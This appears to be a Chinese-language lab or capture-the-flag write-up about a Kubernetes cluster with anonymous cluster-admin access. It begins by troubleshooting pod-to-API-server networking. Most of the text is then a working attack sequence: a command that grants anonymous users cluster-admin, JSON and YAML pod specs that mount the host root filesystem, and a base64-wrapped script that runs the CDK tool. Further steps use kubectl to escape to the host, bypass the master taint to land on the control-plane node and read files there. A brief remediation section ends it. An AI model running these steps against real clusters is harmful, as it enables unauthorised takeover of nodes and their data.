容器内部未授权访问解决
一、 问题背景
-
环境:容器内部的 Shell 环境。
-
操作:尝试访问 K8s API。
-
初始命令:
curl -k https://192.168.136.134:6443/api/v1/namespaces/default/pods -
现象:返回 Null(无响应或空),但物理机浏览器可以正常访问。
二、 排查过程 (侦探视角的逐步分析)
1. 怀疑权限问题 (Authentication)
首先排查是否因为没有 Token 被 API Server 拒绝。我们尝试确认是否开启了“匿名访问”。
-
排查命令(在 Master 节点执行):
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous -
输出结果:
Error from server (AlreadyExists): clusterrolebindings.rbac.authorization.k8s.io "system:anonymous" already exists -
结论:权限不是问题。集群已经处于“未授权访问”开启的状态(这是极其危险的配置),说明只要网络能通,任何人都应该能看到数据。
2. 误判网络状况 (False Positive)
既然权限开了,为什么 curl 没数据?检查网络。
-
排查命令(在 /tmp 环境):
curl google.com -
输出结果:
<TITLE>301 Moved</TITLE> ... -
中间结论:能访问 Google,说明出网正常。但这产生了一个误区,以为能上百度/谷歌就能连通局域网 IP。
3. 验证物理连通性 (The Smoking Gun)
为了验证是否真正能连通宿主机 IP(192.168.136.134),必须进行点对点测试。
-
排查命令(在 /tmp 环境):
ping -c 4 192.168.136.134 -
输出结果:
100% packet loss -
结论:网络不通! 虽然能访问外网(通过 NAT),但无法直接回连宿主机的物理 IP。这是问题的直接原因。
4. 确认当前环境身份 (Environment ID)
为什么网络不通?我们需要知道当前到底在哪里。
-
排查命令(在 /tmp 环境):
ip addr -
输出结果:
eth0@if8 ... inet 192.168.13.8/32 ... -
结论:
- eth0@if8 说明这是 容器网络接口。
- /32 说明这是 CNI 插件(如 Calico)管理的 Pod。
- 真相:你在 Pod 内部,而 Pod 网络与宿主机物理网络存在隔离,且受限于防火墙或路由回环问题,无法直接 Ping 通 Host IP。
三、 根因总结
问题的核心是 网络拓扑与路由隔离:
- 位置:Shell 位于 Pod 容器内部。
- 目标:试图访问宿主机的物理 IP (192.168.136.134)。
- 阻碍:Pod 访问外网(Google)走 NAT 转发没问题,但访问宿主机 IP 会因为路由回环(Hairpin)或防火墙丢包而失败。
四、 解决方案
在 Pod 内部,必须使用 K8s 提供的内部专用网络通道,而不是物理 IP。
方法 A:使用环境变量(推荐,最稳定)
利用 K8s 注入的 Service Host 变量:
curl -k -v https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods
方法 B:使用内部 DNS 域名
利用 K8s 的 CoreDNS 解析:
curl -k -v https://kubernetes.default.svc:443/api/v1/namespaces/default/pods
五,攻击手法
0,查看指定目标资产
主机执行
kubectl get svc struts
1,创建挂载容器
JSON 文件写入法
echo '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"pwn"},"spec":{"containers":[{"image":"nginx","name":"c","volumeMounts":[{"mountPath":"/host","name":"h"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' > p.json
建议直接使用原生 curl
curl -k -v -XPOST -H Content-Type:application/json -d@p.json https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods
cdk读取文件内容作为参数传递
./cdk kcurl anonymous post "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods" "$(cat payload.json)"
分块追加脚本法
写入命令前半部分(并打开单引号)
注意:这里使用 printf 是为了避免自动换行(如果你的环境没有 printf,用 echo -n 也可以,但 printf 更稳)。
printf "./cdk kcurl anonymous post \"https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods\" '" > temp.sh
追加 JSON 内容
直接把 p.json 的内容追加到脚本后面。
cat p.json >> temp.sh
写入命令后半部分(闭合单引号)
补上最后一个单引号。
echo "'" >> temp.sh
检查并执行
先看一眼拼出来的脚本对不对,然后执行。
cat temp.sh
sh temp.sh
运行脚本
sh temp.sh
Base64临时文件法
将文本转化成Base64编码
#!/bin/sh
# 使用 K8s 内部固定域名,不依赖环境变量
# https 默认就是 443 端口,所以可以省略 :443
URL="https://kubernetes.default.svc/api/v1/namespaces/default/pods"
# 定义 JSON Payload (单引号包裹)
PAYLOAD='{"apiVersion":"v1","kind":"Pod","metadata":{"name":"taintstwo","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"taintstwo","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
# 执行 CDK
./cdk kcurl anonymous post "$URL" "$PAYLOAD"
把 Base64 写入临时文件
请直接复制下面这一整块代码(包括最后一行 EOF),并在终端执行:
cat <<EOF > temp.b64
IyEvYmluL3NoCgojIOS9v+eUqCBLOHMg5YaF6YOo5Zu65a6a5Z+f5ZCN77yM5LiN5L6d6LWW546v5aKD5Y+Y6YePCiMgaHR0cHMg6buY6K6k5bCx5pivIDQ0MyDnq6/lj6PvvIzmiYDku6Xlj6/ku6XnnIHnlaUgOjQ0MwpVUkw9Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy9hcGkvdjEvbmFtZXNwYWNlcy9kZWZhdWx0L3BvZHMiCgojIOWumuS5iSBKU09OIFBheWxvYWQgKOWNleW8leWPt+WMheijuSkKUEFZTE9BRD0neyJhcGlWZXJzaW9uIjoidjEiLCJraW5kIjoiUG9kIiwibWV0YWRhdGEiOnsibmFtZSI6InRhaW50c3R3byIsIm5hbWVzcGFjZSI6ImRlZmF1bHQifSwic3BlYyI6eyJjb250YWluZXJzIjpbeyJpbWFnZSI6Im5naW54OjEuMTQuMiIsIm5hbWUiOiJ0YWludHN0d28iLCJ2b2x1bWVNb3VudHMiOlt7Im1vdW50UGF0aCI6Ii9ob3N0IiwibmFtZSI6Imhvc3QifV19XSwidm9sdW1lcyI6W3siaG9zdFBhdGgiOnsicGF0aCI6Ii8iLCJ0eXBlIjoiRGlyZWN0b3J5In0sIm5hbWUiOiJob3N0In1dfX0nCgojIOaJp+ihjCBDREsKLi9jZGsga2N1cmwgYW5vbnltb3VzIHBvc3QgIiRVUkwiICIkUEFZTE9BRCI=
EOF
解码并生成脚本
执行下面的命令,把刚才的文件还原成脚本:
base64 -d temp.b64 > run.sh
(如果报错,试试 base64 -D)
赋予权限并执行
chmod +x run.sh
./run.sh
2,验证容器挂载
curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods | grep jsonpodname
3,利用挂载进行逃逸
下载k8s远程文件
使用curl
curl -LO https://dl.k8s.io/release/v1.28.2/bin/linux/amd64/kubectl
使用cdk
赋予执行权限
chmod +x kubectl
执行反弹shell等
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a exec podname -- bash -c "ls /host"
4,污点Taints横向移动
获取节点情况
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a describe node | grep 'Taints' -A 5
获取Master标签
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get node --show-labels | grep master
/tmp >./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get node --show-labels | grep master
k8smaster Ready master 3d12h v1.16.0 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/arch=amd64,kubernetes.io/hostname=k8smaster,kubernetes.io/os=linux,node-role.kubernetes.io/master=
由回显可知Master标签后续
nodeSelector:
node-role.kubernetes.io/master: ""
写入yaml
随机创建
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: control-master-x
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-x
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
EOF
指定Master创建
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: control-master-x
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
nodeSelector:
node-role.kubernetes.io/master: ""
containers:
- name: control-master-x
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
EOF
执行创建
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml
随机创建需改名多创几次才能到Master节点上
metadata:
name: control-master-x
containers:
- name: control-master-x
使用kubectl远程查看创建是否在Master
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get pod -o wide
定时任务master反弹shell
./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master-x -- bash -c "cat /master/root/flag"
删除pod
./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a delete pod control-master-x
六、 后续安全修复(可选)
删除匿名用户的管理员权限绑定
kubectl delete clusterrolebinding system:anonymous
正规访问方式(修复匿名后Pod内部使用Token):
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/pods